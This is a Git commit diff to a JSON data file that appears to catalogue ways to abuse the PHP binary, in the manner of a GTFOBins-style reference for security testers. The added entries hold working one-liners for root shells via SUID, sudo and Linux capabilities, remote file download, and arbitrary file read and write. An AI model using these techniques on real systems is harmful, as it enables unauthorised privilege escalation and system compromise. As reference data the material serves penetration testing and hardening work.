update data source for php

master
Mr. Robot 3 years ago committed by GitHub
parent 82ceb09c26
commit 08b481e4f6
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

@ -37,23 +37,34 @@
"file-download": [
{
"description": "Fetch a remote file via HTTP GET request.",
"code": "php -r 'file_put_contents(\"[file]\", file_get_contents(\"[url]\"));'\n"
"code": "php -r '$c=file_get_contents(\"[url]\");file_put_contents(\"[file]\", $c);'\n"
}
],
"suid": [
{
"code": "CMD=\"/bin/sh\"\n./php -r \"pcntl_exec('/bin/sh', ['-p']);\"\n"
"code": "./php -r \"pcntl_exec('/bin/sh', ['-p']);\"\n"
}
],
"sudo": [
{
"code": "CMD=\"/bin/sh\"\nsudo php -r \"system('$CMD');\"\n"
"code": "sudo php -r \"system('/bin/sh');\"\n"
}
],
"capabilities": [
{
"code": "CMD=\"/bin/sh\"\n./php -r \"posix_setuid(0); system('$CMD');\"\n"
"code": "./php -r \"posix_setuid(0); system('/bin/sh');\"\n"
}
],
"file-read": [
{
"code": "php -r 'readfile(\"[file]\");'\n"
}
],
"file-write": [
{
"description": "write data to a file, filename should be absolute.",
"code": "php -r 'file_put_contents(\"[file]\", \"[data]\");'\n"
}
]
}
}
}

Loading…
Cancel
Save